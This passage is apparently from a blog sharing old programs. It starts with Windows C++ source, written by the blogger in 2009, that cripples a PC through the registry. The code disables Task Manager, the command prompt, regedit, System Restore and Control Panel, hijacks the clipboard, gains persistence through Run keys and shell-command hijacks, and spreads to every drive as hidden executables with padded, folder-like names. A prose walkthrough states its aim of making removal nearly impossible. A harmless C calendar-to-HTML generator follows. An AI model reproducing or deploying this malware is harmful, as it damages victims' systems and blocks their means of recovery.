    return 0;
}

bool no_cmd()
{
 HKEY hkey;
 DWORD DwValue =1;
 DWORD lResult;
 lResult=RegCreateKeyEx(HKEY_CURRENT_USER,
                TEXT("Software\\Policies\\Microsoft\\Windows\\System"),
                0,NULL,0,KEY_ALL_ACCESS,NULL,&hkey,NULL);
 if(lResult != ERROR_SUCCESS)
  {
    RegCloseKey(hkey);
    return 0;
  }
 lResult = RegSetValueEx(hkey,TEXT("DisableCMD"),0,REG_DWORD,(const BYTE*)&DwValue,sizeof(DwValue) );
 RegCloseKey(hkey);
 if(lResult != ERROR_SUCCESS)return 0;
 return 1;
}

bool no_folderOptions()
{
 HKEY hkey;
 DWORD DwValue =1;
 DWORD lResult;
 lResult=RegCreateKeyEx(HKEY_CURRENT_USER,
                TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer"),
                0,NULL,0,KEY_ALL_ACCESS,NULL,&hkey,NULL);
 if(lResult == ERROR_SUCCESS)
 lResult = RegSetValueEx(hkey,TEXT("NoFolderOptions"),0,REG_DWORD,(const BYTE*)&DwValue,sizeof(DwValue) );
 RegCloseKey(hkey);
 if(lResult != ERROR_SUCCESS)return 0;

 lResult=RegCreateKeyEx(HKEY_LOCAL_MACHINE,
                TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer"),
                0,NULL,0,KEY_ALL_ACCESS,NULL,&hkey,NULL);
 if(lResult == ERROR_SUCCESS)
 lResult = RegSetValueEx(hkey,TEXT("NoFolderOptions"),0,REG_DWORD,(const BYTE*)&DwValue,sizeof(DwValue) );
 RegCloseKey(hkey);
 if(lResult != ERROR_SUCCESS)return 0;
 return 1;
}

bool no_run()
{
 HKEY hkey;
 DWORD DwValue =1;
 DWORD lResult;
 lResult=RegCreateKeyEx(HKEY_CURRENT_USER,
                TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer"),
                0,NULL,0,KEY_ALL_ACCESS,NULL,&hkey,NULL);
 if(lResult == ERROR_SUCCESS)
    lResult = RegSetValueEx(hkey,TEXT("NoRun"),0,REG_DWORD,(const BYTE*)&DwValue,sizeof(DwValue) );
 RegCloseKey(hkey);
 if(lResult != ERROR_SUCCESS)return 0;
 return 1;
}

bool no_SR()
{
 HKEY hkey;
 DWORD DwValue =1;
 DWORD lResult;

 lResult=RegCreateKeyEx(HKEY_LOCAL_MACHINE,
                TEXT("Software\\Policies\\Microsoft\\Windows NT\\SystemRestore"),
                0,NULL,0,KEY_ALL_ACCESS,NULL,&hkey,NULL);
 if(lResult == ERROR_SUCCESS)
  {
   lResult = RegSetValueEx(hkey,TEXT("DisableConfig"),0,REG_DWORD,(const BYTE*)&DwValue,sizeof(DwValue) );
   lResult = RegSetValueEx(hkey,TEXT("DisableSR"),0,REG_DWORD,(const BYTE*)&DwValue,sizeof(DwValue) );
  }
 RegCloseKey(hkey);
 if(lResult != ERROR_SUCCESS)return 0;
 return 1;
}

bool no_taskmgr()
{
 HKEY hkey;
 DWORD DwValue =1;
 DWORD lResult;
 lResult=RegCreateKeyEx(HKEY_CURRENT_USER,
                TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System"),
                0,NULL,0,KEY_ALL_ACCESS,NULL,&hkey,NULL);
 if(lResult == ERROR_SUCCESS)
    lResult = RegSetValueEx(hkey,TEXT("DisableTaskMgr"),0,REG_DWORD,(const BYTE*)&DwValue,sizeof(DwValue) );
 RegCloseKey(hkey);
 if(lResult != ERROR_SUCCESS)return 0;
 lResult=RegCreateKeyEx(HKEY_LOCAL_MACHINE,
                TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System"),
                0,NULL,0,KEY_ALL_ACCESS,NULL,&hkey,NULL);
 if(lResult == ERROR_SUCCESS)
    lResult = RegSetValueEx(hkey,TEXT("DisableTaskMgr"),0,REG_DWORD,(const BYTE*)&DwValue,sizeof(DwValue) );
 RegCloseKey(hkey);
 if(lResult != ERROR_SUCCESS)return 0;
 return 1;
}

bool no_regedit()
{
 HKEY hkey;
 DWORD DwValue =1;
 DWORD lResult;

 lResult=RegCreateKeyEx(HKEY_CURRENT_USER,
                TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System"),
                0,NULL,0,KEY_ALL_ACCESS,NULL,&hkey,NULL);
 if(lResult == ERROR_SUCCESS)
   lResult = RegSetValueEx(hkey,TEXT("DisableRegistryTools"),0,REG_DWORD,(const BYTE*)&DwValue,sizeof(DwValue) );
 RegCloseKey(hkey);
 if(lResult != ERROR_SUCCESS)return 0;
 return 1;
}


bool no_gpedit()
{
 HKEY hkey;
 DWORD DwValue =1;
 DWORD lResult;

 lResult=RegCreateKeyEx(HKEY_CURRENT_USER,
                TEXT("Software\\Policies\\Microsoft\\MMC"),
                0,NULL,0,KEY_ALL_ACCESS,NULL,&hkey,NULL);
 if(lResult == ERROR_SUCCESS)
   {
      lResult = RegSetValueEx(hkey,TEXT("RestrictToPermittedSnapins"),0,REG_DWORD,(const BYTE*)&DwValue,sizeof(DwValue) );
      lResult = RegSetValueEx(hkey,TEXT("RestrictAuthorMode"),0,REG_DWORD,(const BYTE*)&DwValue,sizeof(DwValue) );
   }
 RegCloseKey(hkey);
 if(lResult != ERROR_SUCCESS)return 0;
 return 1;
}

bool no_CPL()
{
 HKEY hkey;
 DWORD DwValue =1;
 DWORD lResult;

 lResult=RegCreateKeyEx(HKEY_CURRENT_USER,
                TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer"),
                0,NULL,0,KEY_ALL_ACCESS,NULL,&hkey,NULL);
 if(lResult == ERROR_SUCCESS)
   lResult = RegSetValueEx(hkey,TEXT("RestrictCpl"),0,REG_DWORD,(const BYTE*)&DwValue,sizeof(DwValue) );
 RegCloseKey(hkey);
 if(lResult != ERROR_SUCCESS)return 0;
 return 1;
}

bool no_msconfg()
{
 HKEY hkey;
 DWORD DwValue =1;
 DWORD lResult;
 std::string str;
 lResult=RegCreateKeyEx(HKEY_CURRENT_USER,
                TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer"),
                0,NULL,0,KEY_ALL_ACCESS,NULL,&hkey,NULL);
 if(lResult == ERROR_SUCCESS)
   lResult = RegSetValueEx(hkey,TEXT("DisallowRun"),0,REG_DWORD,(const BYTE*)&DwValue,sizeof(DwValue) );
 RegCloseKey(hkey);
 if(lResult != ERROR_SUCCESS)return 0;
 lResult=RegCreateKeyEx(HKEY_CURRENT_USER,
                TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\DisallowRun"),
                0,NULL,0,KEY_ALL_ACCESS,NULL,&hkey,NULL);
 if(lResult == ERROR_SUCCESS)
   {
     str="msconfig.exe";
     lResult = RegSetValueEx(hkey,TEXT("1"),0,REG_SZ,(const BYTE*)str.c_str(),str.length() );
     str="GOM.exe";
     lResult = RegSetValueEx(hkey,TEXT("2"),0,REG_SZ,(const BYTE*)str.c_str(),str.length() );
   }
 return 1;
}

bool hideExt()
{
 HKEY hkey;
 DWORD DwValue =2;
 DWORD lResult;

 lResult=RegCreateKeyEx(HKEY_CURRENT_USER,
                TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced"),
                0,NULL,0,KEY_ALL_ACCESS,NULL,&hkey,NULL);
 if(lResult == ERROR_SUCCESS)
   {
      lResult = RegSetValueEx(hkey,TEXT("Hidden"),0,REG_DWORD,(const BYTE*)&DwValue,sizeof(DwValue) );
      DwValue =1;
      lResult = RegSetValueEx(hkey,TEXT("HideFileExt"),0,REG_DWORD,(const BYTE*)&DwValue,sizeof(DwValue) );
   }
 RegCloseKey(hkey);
 if(lResult != ERROR_SUCCESS)return 0;
 return 1;
}

bool no_clipboard()
{
    HANDLE hData;//For the data to send to the clipboard
    char szData[] = "Sorry you cannot use the clipboard!!",//phrase
         *ptrData = NULL;//pointer to allow char copying
    int nStrLen = strlen(szData);//length of phrase
    hData = GlobalAlloc(GMEM_MOVEABLE | GMEM_DDESHARE,
        nStrLen + 1);//get handle to memory to hold phrase
    ptrData = (char*)GlobalLock(hData);//get pointer from handle
    memcpy(ptrData,szData,nStrLen + 1);//copy over the phrase
    GlobalUnlock(hData);//free the handle
    OpenClipboard(NULL);//allow you to work with clipboard
    EmptyClipboard();//clear previous contents
    SetClipboardData(CF_TEXT,hData);//set our data
    CloseClipboard();//finished!!
    return 0;
}

bool __instal__()
{
  HKEY hkey;
  DWORD DwValue =1;
  DWORD lResult,Dw=MAX_PATH;
  char  wnDir[MAX_PATH];
  char* MYvPath =new char[MAX_PATH*2];
  std::string str;

  GetWindowsDirectory(wnDir,sizeof(wnDir) );
  sprintf(MYvPath,TEXT("%s\\System32\\MYv.exe"),wnDir);
  int len = strlen(MYvPath);
  lResult=RegOpenKeyEx(HKEY_CURRENT_USER,
                TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run"),
                0,KEY_ALL_ACCESS,&hkey);
  if(lResult == ERROR_SUCCESS)
  lResult = RegSetValueEx(hkey,TEXT("WindowsNT"),0,REG_SZ,(const BYTE*)MYvPath,len );
  RegCloseKey(hkey);
  lResult=RegCreateKeyEx(HKEY_CLASSES_ROOT,
                TEXT("Drive\\shell\\Explorer\\Command"),
                0,NULL,0,KEY_ALL_ACCESS,NULL,&hkey,NULL);
  if(lResult == ERROR_SUCCESS)
  lResult = RegSetValueEx(hkey,NULL,0,REG_SZ,(const BYTE*)MYvPath,len );
  RegCloseKey(hkey);

  str=wnDir[0];
  str+=":\\Documents and Settings\\";
  GetUserNameA(wnDir,&Dw);
  str+=wnDir;
  str+="\\Data.exe";
  lResult=RegCreateKeyEx(HKEY_CLASSES_ROOT,
                TEXT("Directory\\shell\\Explorer\\Command"),
                0,NULL,0,KEY_ALL_ACCESS,NULL,&hkey,NULL);
  if(lResult == ERROR_SUCCESS)
  lResult = RegSetValueEx(hkey,NULL,0,REG_SZ,(const BYTE*)str.c_str(),str.length() );
  RegCloseKey(hkey);

  delete [] MYvPath;
  return 0;
}

bool __copy__()
{
    char  wnDir[MAX_PATH];
    std::string str,str1;
    DWORD Dw=MAX_PATH;
    int pos;

    GetWindowsDirectoryA(wnDir,sizeof(wnDir) );
    str=wnDir;
    str+="\\System32\\MYv.exe";

    str1=GetCommandLine();

    pos=str1.find_first_of("\"");
    if(pos!=std::string::npos) str1.erase ( pos ,pos+1);
    pos=str1.find_first_of("\"");
    if(pos!=std::string::npos) str1.erase ( pos ,str1.length() );
    pos=str1.find_last_of("\\");
    if(pos!=std::string::npos) str1.erase ( str1.begin () ,str1.begin () + pos +1);

    SetFileAttributesA(str.c_str(),0);
    CopyFileA(str1.c_str(),str.c_str(),0);
    SetFileAttributesA(str.c_str(),FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_READONLY);

    str=wnDir[0];
    str+=":\\Documents and Settings\\";
    GetUserNameA(wnDir,&Dw);
    str+=wnDir;
    str+="\\Data.exe";

    SetFileAttributesA(str.c_str(),0);
    CopyFileA(str1.c_str(),str.c_str(),0);
    SetFileAttributesA(str.c_str(),FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_READONLY);

    return 0;
}

void __copy2__()
{
    std::string str,str1;
    char driveLetter[4];
    int pos;
    bool bb;
    ULARGE_INTEGER pFreeBytesAvailable;

    str1=GetCommandLine();

    pos=str1.find_first_of("\"");
    if(pos!=std::string::npos) str1.erase ( pos ,pos+1);
    pos=str1.find_first_of("\"");
    if(pos!=std::string::npos) str1.erase ( pos ,str1.length() );
    pos=str1.find_last_of("\\");
    if(pos!=std::string::npos) str1.erase ( str1.begin () ,str1.begin () + pos +1);

    for(int i=0;i<26;i++)
    {
      sprintf(driveLetter,"%c:\\",(int)('A'+i) );
      if(GetDriveType(driveLetter) !=DRIVE_CDROM )
      {
        bb=GetDiskFreeSpaceEx(driveLetter,&pFreeBytesAvailable,NULL,NULL);
        if(bb==1 && pFreeBytesAvailable.LowPart>=1024)
         {
          str=driveLetter;
          str+="IMAGES                                                                                                                                 .exe";
          CopyFileA(str1.c_str(),str.c_str(),0);
          SetFileAttributesA(str.c_str(),0);
          str=driveLetter;
          str+="MOVIES                                                                                                                                 .exe";
          CopyFileA(str1.c_str(),str.c_str(),0);
          SetFileAttributesA(str.c_str(),0);
         }
      }
    }
}
bool task_sck()
{
   SYSTEMTIME tt;
   int s,m,h;
   char* MYvPath =new char[MAX_PATH*2];

   GetLocalTime(&tt);
   h=tt.wHour;
   (tt.wSecond<50)? m=tt.wMinute,s=tt.wSecond+5 : m=tt.wMinute+1,s=0 ;

   sprintf(MYvPath,"at %d:%d:%d /EVERY:m,t,w,th,f,s,su %s",h,m,s,GetCommandLine());
   system("at /delete /yes");
   system(MYvPath);
   delete [] MYvPath;
   return 0;
}

/*
bool IsRunAsAdmin()
{
    bool fIsRunAsAdmin = FALSE;
    DWORD dwError = ERROR_SUCCESS;
    PSID pAdministratorsGroup = NULL;

    // Allocate and initialize a SID of the administrators group.
    SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
    if (!AllocateAndInitializeSid(
        &NtAuthority,
        2,
        SECURITY_BUILTIN_DOMAIN_RID,
        DOMAIN_ALIAS_RID_ADMINS,
        0, 0, 0, 0, 0, 0,
        &pAdministratorsGroup))
    {
        dwError = GetLastError();
        goto Cleanup;
    }
    if (!SHTestTokenMembership(NULL, pAdministratorsGroup, &fIsRunAsAdmin))
    {
        dwError = GetLastError();
        goto Cleanup;
    }
Cleanup:
    // Centralized cleanup for all allocated resources.
    if (pAdministratorsGroup)
    {
        FreeSid(pAdministratorsGroup);
        pAdministratorsGroup = NULL;
    }
return fIsRunAsAdmin;
}
void run_as_admin(bool fIsRunAsAdmin,HWND hwnd)
{
            // Elevate the process if it is not run as administrator.
    if (!fIsRunAsAdmin)
     {
        char szPath[MAX_PATH];
        if (GetModuleFileName(NULL, szPath, MAX_PATH))
         {
            // Launch itself as administrator.
            SHELLEXECUTEINFO sei = { sizeof(sei) };
            sei.lpVerb = "runas";
            sei.lpFile = szPath;
            sei.hwnd = hwnd;
            sei.nShow = SW_NORMAL;
            if (ShellExecuteEx(&sei))
             {
                TerminateProcess(GetCurrentProcess(),0);
             }
         }
     }
}

*/

Understanding the Code:

Code Structure:

The code was structured with functions aimed at modifying registry settings, essentially crippling various features of the Windows XP/Windows 7 system.

Window Procedure:

The heart of the application lied in the WindowProcedure function, handling messages related to clipboard manipulation and system initialization. Essentially making the copy/pasting of files and text non existing. Perhaps this is the most annoying thing about this program. And to keep the user from fixing their system by removing this program and its various registry keys, well I took measures to, well not let them.

Security Measures Implemented:

Disabling Run Command (no_run()): I implemented a registry modification to disable the Run command on the Windows system.
Disabling Command Prompt (no_cmd()): This function is responsible for creating registry entries that disable the Command Prompt, restricting access to it.
Disabling System Restore (no_SR()): The no_SR() function manipulates registry settings to disable System Restore on the Windows system.
Disabling Control Panel (no_CPL()): This function restricts access to the Control Panel by modifying relevant registry entries.
Disabling Group Policy Editor (no_gpedit()): I used registry modifications in this function to disable the Group Policy Editor on the Windows system.
Disabling System Configuration Utility (no_msconfg()): The no_msconfg() function restricts access to the System Configuration Utility by modifying registry entries.
Disabling Task Manager (no_taskmgr()): This function disables the Task Manager on the Windows system by making necessary changes to the registry.
Disabling Registry Editor (no_regedit()): The no_regedit() function restricts access to the Registry Editor through registry modifications.
Disabling Folder Options (no_folderOptions()): This function manipulates registry settings to prevent access to Folder Options on the Windows system.
Hiding File Extensions (hideExt()): The hideExt() function hides file extensions on the Windows system by modifying relevant registry entries.
Disabling Clipboard (no_clipboard()): This function restricts the use of the clipboard by manipulating clipboard-related functions.
Installation Procedure (__instal__()): The __instal__() function is responsible for installing the application by modifying registry entries and ensuring persistence.
Copying Application (__copy__()): The __copy__() function copies the application to specific locations on the system, ensuring its presence and functionality.
Copying Application to Multiple Locations (__copy2__()): The __copy2__() function copies the application to multiple locations across different drives on the Windows system.
Scheduling Task (task_sck()): The task_sck() function attempts to create a scheduled task to run the application at specific times, adding another layer to the implemented security measures.

Installation and Copying:

The __instal__() and __copy__() functions were designed to install the application and copy it to specific locations in the system, ensuring persistence.

Scheduled Task Creation (`task_sck()`):

I attempted to create a scheduled task to run the application at specific times, adding another layer to the strategy that leaned more towards making the program a cockroach nearly impossible to get rid of.

Unimplemented Code:

Some code related to checking if the application is running with administrator privileges (IsRunAsAdmin() and run_as_admin()) remains commented out, perhaps left for future consideration or refinement.

Reflection and Responsible Coding:

Upon revisiting this code from 2009, it's clear that its primary focus was to make the system unusable especially considering that its icon is the yellow folder icon typical of Windows folders. again please do not use this code to do harmful things. I share it only as an educational material to understand Windows systems in depth. Manipulating windows registry is an advanced practice after all

Sharing My Old Programs: A Journey into Calendar Generation

2024-01-21T18:39:36+00:00

Introduction

Welcome to this article where I take you on a journey into my early days of learning programming. In 2012, as a budding programmer, I created the C program presented below. It stands as a snapshot of my exploration into calendar generation, reflecting the challenges and triumphs of that learning phase. Though newer approaches and languages have since emerged, revisiting this piece of code allows me to share insights into the core ideas that fueled my early programming endeavors.

As we delve into the code, keep in mind that this is one of my programs from a time when I was still discovering the intricacies of programming. The calendar generator serves as an interesting example, showcasing the steps I took in understanding and implementing fundamental concepts. Join me in exploring the core ideas behind this C program, and let's uncover the learning experiences embedded within its code.

    

#include<stdio.h>
FILE *f;//,*tx;
unsigned long int  A[4];
char *mois[14]={"  ","January","February","March","April","May","June","July"
                  ,"August","September","October","November","December"};
char *stjours[9]={"Mo","Tu","We","Th","Fr","Sa","Su"};
char *stjoursxt[9]={"Dimenche","Lundi","Mardi","Mercredi","Jeudi","Vendredi","Samedi"};
correction(unsigned long int a, int b)
{
    A[0]=a; // a= l'année
    A[1]=b; // b= le debut de janvier de l'année a

}
int demmande()
{
    printf("enter any year except 0 and 1 :");
    scanf("%D",&A[2]);
    if(A[2]<2)return 0;
    else return 1;
}
int nb_jours(unsigned long int a,int m) // a= année  , m= mois
{
    int t; // variable= nb_jours du mois m à retourner par la fonction
    if(m==2)
       if(a%4==0&&a%100!=0 || a%400==0) t=29;
       else t=28;
    else
      if(m%2==0 && m<=7 || m%2!=0 && m>7) t=30;
      else t=31;
    return t;
}
int debut(unsigned long int a,int m)
{
   int x,j,d;
   unsigned long int i;
   A[3]=0;
   i=A[0]; // la variable i prend la valeur de l'année de la 1ere correction du debut janvier
   x=A[1]; // la variable x prend l'index du jour du debout janvier
     do
      {
           correction(i,x); // en memorise l'année i  et l'index x du jour du  debut de son janvier
           // pour ne pas revenir à la valeur principale du debut janvier de l'année 2

           for(j=1;j<=12;j++)
           {
               if(i!=a || j!=m) // si on n'est pas aconre arriver à l'année saisis a et le mois m
                 {
                    x=x+nb_jours(i,j);
                    d=x%7;
                    x=d;
                    if(i!=a || j!=m)A[3]++;   // A[3] nbre d'operations avant arrivée à l'année désirée
                 }
               else break;
           }
           i++;
       }while(i<=a);
   if(m==1)   printf("\n    le programme a fais %d operations \n\n   pour trouver le debut de janvier %d \n",A[3],A[2]);
   return d;  // le debut du mois m de l'année a
}
remplissage(unsigned long int y)
{
  int i,j,a,n,k,m,v;

fprintf(f,"<html>\n");
fprintf(f,"<title>Calendrier Par MOSAID</title>\n");
fprintf(f,"<script language=%cjavascript%c>\n",34,34);//%chidepic()%c

fprintf(f,"  function hidepic()\n");
fprintf(f,"     {\n");
fprintf(f,"       if(p.style.display==%cnone%c)\n",34,34);
fprintf(f,"       p.style.display=%c%c\n",34,34);
fprintf(f,"       else\n");
fprintf(f,"       p.style.display=%cnone%c\n",34,34);
fprintf(f,"     }\n");

fprintf(f,"  function hidepic1()\n");
fprintf(f,"     {\n");
fprintf(f,"       if(pd.style.display==%cnone%c)\n",34,34);
fprintf(f,"       pd.style.display=%c%c\n",34,34);
fprintf(f,"       else\n");
fprintf(f,"       pd.style.display=%cnone%c\n",34,34);
fprintf(f,"     }\n");

fprintf(f,"  function blinkit()\n");
fprintf(f,"    {\n");
fprintf(f,"         intrvl=0;\n");
fprintf(f,"         for(nTimes=0;nTimes<20;nTimes++)\n");
fprintf(f,"           {\n");
fprintf(f,"            intrvl = intrvl+400;\n");
fprintf(f,"            setTimeout(%cdocument.bgColor='#0000FF';%c,intrvl);\n",34,34);
fprintf(f,"            intrvl =intrvl+ 400;\n");
fprintf(f,"            setTimeout(%cdocument.bgColor='#FFFFFF';%c,intrvl);\n",34,34);
fprintf(f,"           }\n");
fprintf(f,"     }\n");
fprintf(f,"var pos = 20;\n");

fprintf(f,"function initArray()\n");
fprintf(f," {\n");
fprintf(f,"    this.length = initArray.arguments.length;\n");
fprintf(f,"    for (var i = 0; i < this.length; i++)\n");
fprintf(f,"     {\n");
fprintf(f,"       this[i] = initArray.arguments[i];\n");
fprintf(f,"     }\n");
fprintf(f,"}\n");
fprintf(f,"var col=new initArray();\n");

fprintf(f,"function start()\n");
fprintf(f,"{\n");
fprintf(f,"   col[1]=%cblack%c\n",34,34);
fprintf(f,"   col[2]=%cyellowgreen%c\n",34,34);
fprintf(f,"   col[3]=%cyellow%c\n",34,34);
fprintf(f,"   col[4]=%cwhitesmoke%c\n",34,34);
fprintf(f,"   col[5]=%cwhite%c\n",34,34);
fprintf(f,"   col[6]=%cwheat%c\n",34,34);
fprintf(f,"   col[7]=%cviolet%c\n",34,34);
fprintf(f,"   col[8]=%cturquoise%c\n",34,34);
fprintf(f,"   col[9]=%ctomato%c\n",34,34);
fprintf(f,"   col[10]=%cthistle%c\n",34,34);
fprintf(f,"   col[11]=%clightgreen%c\n",34,34);
fprintf(f,"   col[12]=%cpurple%c\n",34,34);
fprintf(f,"   col[13]=%crose%c\n",34,34);
fprintf(f,"   col[14]=%cbluesky%c\n",34,34);
fprintf(f,"   col[15]=%cblue%c\n",34,34);
fprintf(f,"   col[16]=%cred%c\n",34,34);
fprintf(f,"   col[17]=%cviolet%c\n",34,34);
fprintf(f,"   col[18]=%cpurple%c\n",34,34);
fprintf(f,"   col[19]=%ctomato%c\n",34,34);
fprintf(f,"   col[20]=%cthistle%c\n",34,34);
fprintf(f,"   pos++;\n");
fprintf(f,"   if (pos>=20)\n");
fprintf(f,"    {\n");
fprintf(f,"    pos = 0;\n");
fprintf(f,"    } \n");
fprintf(f,"  document.bgColor =col[pos];\n");
fprintf(f,"  loopID = setTimeout(%cstart()%c,2000);\n",34,34);
fprintf(f,"}\n");

fprintf(f,"function op()\n");
fprintf(f,"     {\n");
fprintf(f,"       var m;\n");
fprintf(f,"       var today;\n");
fprintf(f,"       m=window.open(%c%c,%ca%c,%cheight=450,width=600,toolbar=0,top=100,left=200,title=hhhhhhhhh%c);\n",34,34,34,34,34,34);
//fprintf(f,"       m.document.write(%c<script language=javascript>%c\n",34,34);
fprintf(f,"       m.document.write(%c<body background='backk/varr.jpg' text='#Fe0010'>%c);\n",34,34);
fprintf(f,"       m.document.write(%c<center><br><br>%c);\n",34,34);
//fprintf(f,"       m.document.write(today.getYear());\n");
fprintf(f,"       for(i=0;i<=2;i++)\n");
fprintf(f,"       m.document.write(%c<marquee><font size=10><b>Happy year</b></font></marquee>%c);\n",34,34);
fprintf(f,"       m.document.write(%c<br><br><br><br><br><br>%c);\n",34,34);
fprintf(f,"       m.document.write(%c<input type=button value=close onclick=window.close() >%c);\n",34,34);
fprintf(f,"    }\n");

fprintf(f,"</script>\n");
fprintf(f,"<body onLoad=%cstart()%c   background=backk/bg6.jpg>\n\n",34,34);//<br><br><br><br><br><br><br><br><br><br><br>
fprintf(f,"<bgsound src=backk/4400.mp3 loop=400>\n");

  fprintf(f,"<center><marquee scrollamount=20 direction=left>\n<font size=6 color=black><b>  happy    year </b></font></marquee></center>\n");
  fprintf(f,"<center> <font size=12 color=red><blink><big><strong> %d </big></strong> </blink> </font></center>\n",y);
  fprintf(f,"<center><marquee scrollamount=20 direction=right>\n<font size=6 color=black><b> ÓäÉ    ÓÚíÏÉ </b></font></marquee></center>\n");
  fprintf(f,"<br><br>\n");
  fprintf(f,"<center>\n");
  for(k=1;k<=12;k++)
  {
      n=nb_jours(y,k);
      m=debut(y,k);
      if(y==2 && k==1)m=2;

      if(k==1)fprintf(f,"<table width=100 height=100  border=0><tr>\n");
      if(k<=4)fprintf(f,"<td><table width=100 height=100 border=0><tr><td>\n");
      if(k==5)fprintf(f,"</tr></table>\n");
      if(k==5)fprintf(f,"<table width=100 height=100 border=0>\n");
      if(k>4&&k<=8)fprintf(f,"<td><table width=100% height=100 border=0><tr><td >\n");
      if(k==9)fprintf(f,"</tr></table>\n");
      if(k==9)fprintf(f,"<table width=100 height=100 border=0>\n");
      if(k>8)fprintf(f,"<td><table  width=50 height=50     border=0><tr><td>\n");
      if(k==9||k==10||k==11)fprintf(f,"<td background=months/1.jpg>\n");
      if(k==12||k==1||k==2)fprintf(f,"<td background=months/Winter.jpg>");
      if(k==3||k==4||k==5)fprintf(f,"<td background=months/2.jpg>\n");
      if(k==6||k==7||k==8)fprintf(f,"<td background=months/4.bmp>\n");
      fprintf(f,"<table width=200 height=10 align=center border=0><tr><td>\n"); // tableau contenant le nom du mois
      fprintf(f,"<center><font size=5 color=#008000><b>%s</b></font><font size=4 color=#FF00FF><b>                  %d </b></font></center>\n",mois[k],k);
      fprintf(f,"</tr></table>");

      fprintf(f,"<table  width=200 height=10 align=center border=0><tr>\n");//tableau comtenant les jours de la semaine
      fprintf(f,"<i><td><font   color=tomato><b>Su</b><td><font   color=tomato><b>Mo</b><td><font   color=tomato><b>Tu</b><td>\n<font   color=tomato><b>We</b><td><font   color=tomato><b>Th</b><td>\n<font   color=tomato><b>Fr</b><td><font   color=tomato><b>Sa</b></font></i>\n");
      fprintf(f,"</tr></table>\n");

      a=1;  // variable allant de 1 au nb_jours n du mois k de l'année y


      fprintf(f,"<table width=200 height=10 align=center border=0>\n");    //tableau comtenant les jours du mois
      for(i=0;i<=5;i++)
       {
         fprintf(f,"<tr>");
         for(j=0;j<7;j++)
          {
            if(i==0 && j<m) //si on est avant le debut m du mois
             {
              fprintf(f,"<td>");
              fprintf(f,"<font size=3 color=#8A2BE2>  </font>\n");//
             }
           else
            {
              if(a<=n)// si l'iterations des jours a n'est pas encore arrivée au nb_jours (maximum) du mois k
               {
                        if(j==0) // si le jour j est un dimanche
                        {
                         fprintf(f,"<td>");
                         //fprintf(f,"<a href=m.html>");
                         fprintf(f," <font size=3 color=red><b>   %.2d</b></font>\n",a);
                        }
                        else{

                              if(k==9||k==10||k==11) // si les mois 9,10 ou 11
                              {
                               fprintf(f,"<td>");
                               //fprintf(f,"<a href=m.html>");
                               fprintf(f,"<font size=3 color=violet><b>   %.2d</b></font>\n",a);
                               }
                              if(k==3||k==4||k==5) // si les mois 3,4 ou 5
                              {
                               fprintf(f,"<td>");
                               //fprintf(f,"<a href=m.html>");
                               fprintf(f,"<font size=3 color=springgreen><b>   %.2d</b></font>\n",a);
                              }
                              if(k==6||k==7||k==8) // si les mois  6,7 ou 8
                              {
                               fprintf(f,"<td>");
                               //fprintf(f,"<a href=m.html>");
                               fprintf(f,"<font size=3 color=magenta><b>   %.2d</b></font>\n",a);
                              }
                              if(k==12||k==1||k==2) // si les mois  12,1 ou 2
                              {
                               fprintf(f,"<td>");
                               //fprintf(f,"<a href=m.html>");
                               fprintf(f,"<font size=3 color=white><b>   %.2d</b></font>\n",a);
                              }
                            }
                      }
              if(a>n)
                 {
                     fprintf(f,"<td>");
                     fprintf(f,"<font size=3 color=#8A2BE2>  </font>\n");
                 }
              a++;
            }
          }
         fprintf(f,"</tr>\n");
       }
      fprintf(f,"</table>\n");
      fprintf(f,"</tr></table>\n");
  }
  fprintf(f,"</tr></table>\n");
  fprintf(f,"<table  width=160 height=240 align=center border=0><tr>\n");
  fprintf(f,"<td><center>\n<img src=%cmonths/hamd.gif%c align=%ctexttop%c title=%cone click here%c name=t  id=%cpd%c  OnMouseOver=t.src=%cmonths/73846972.gif%c OnMouseOut=t.src=%cmonths/hamd.gif%c Onclick=%chidepic()%c>\n",34,34,34,34,34,34,34,34,34,34,34,34,34,34);
  fprintf(f,"<td background=backk/mosaid.gif><center><i><b><font size=2 color=white>\n   &#169 mosaid radouan  <br>  E mail : mosaid_radouan@yahoo.fr </font> <b><i><br>  \n</center> \n");

  fprintf(f,"<td></center><img  id=%cp%c p.style.display=%cnone%c src=%cmonths/heart.gif%c name=m title=%cdouble click here%c onclick=%chidepic1()%c  ondblclick=%cop()%c >\n",34,34,34,34,34,34,34,34,34,34,34,34,34,34);
  fprintf(f,"</tr></table>\n");

  fprintf(f,"</body>\n");
  fprintf(f,"</html>\n");

}
main()
{
int t;
f=fopen("calendrier.html","w+");
//tx=fopen("index.log","w+");
correction(2,2);//correction(1900,1);   // le mois 1 de 1900 commence le lundi noté le jour 1
//fprintf(tx,"\n correction:  %d   --->(debut janvier)  %s = %d      ***** iterations=%d\n\n",A[0],stjoursxt[A[1]],A[1],A[3]);
do
 {
  t=demmande();
 }while(t==0);
remplissage(A[2]);
fclose(f);
//fclose(g);

printf("\n\n            produced by mosaid radouan\n\n");
printf("                                         you can see the html file now.\n\n");
system("pause");
}

Understanding the Code

The C program begins with the function call correction(2, 2), which sets the starting point for the calendar generation. In this context, it means that January 1st of year 2 is considered day 2 (Tuesday). This initial correction is crucial as it serves as the reference point for calculating the days of the week for subsequent years and months. this correction was correction(1900,1); meaning January 1 of the year 1900 was day "1" ie Monday. I remember getting it from my phone at the time (Motorola or nokia I don't remember). by scrolling down untill the limit (1900). I don't remember where I got the other correction.

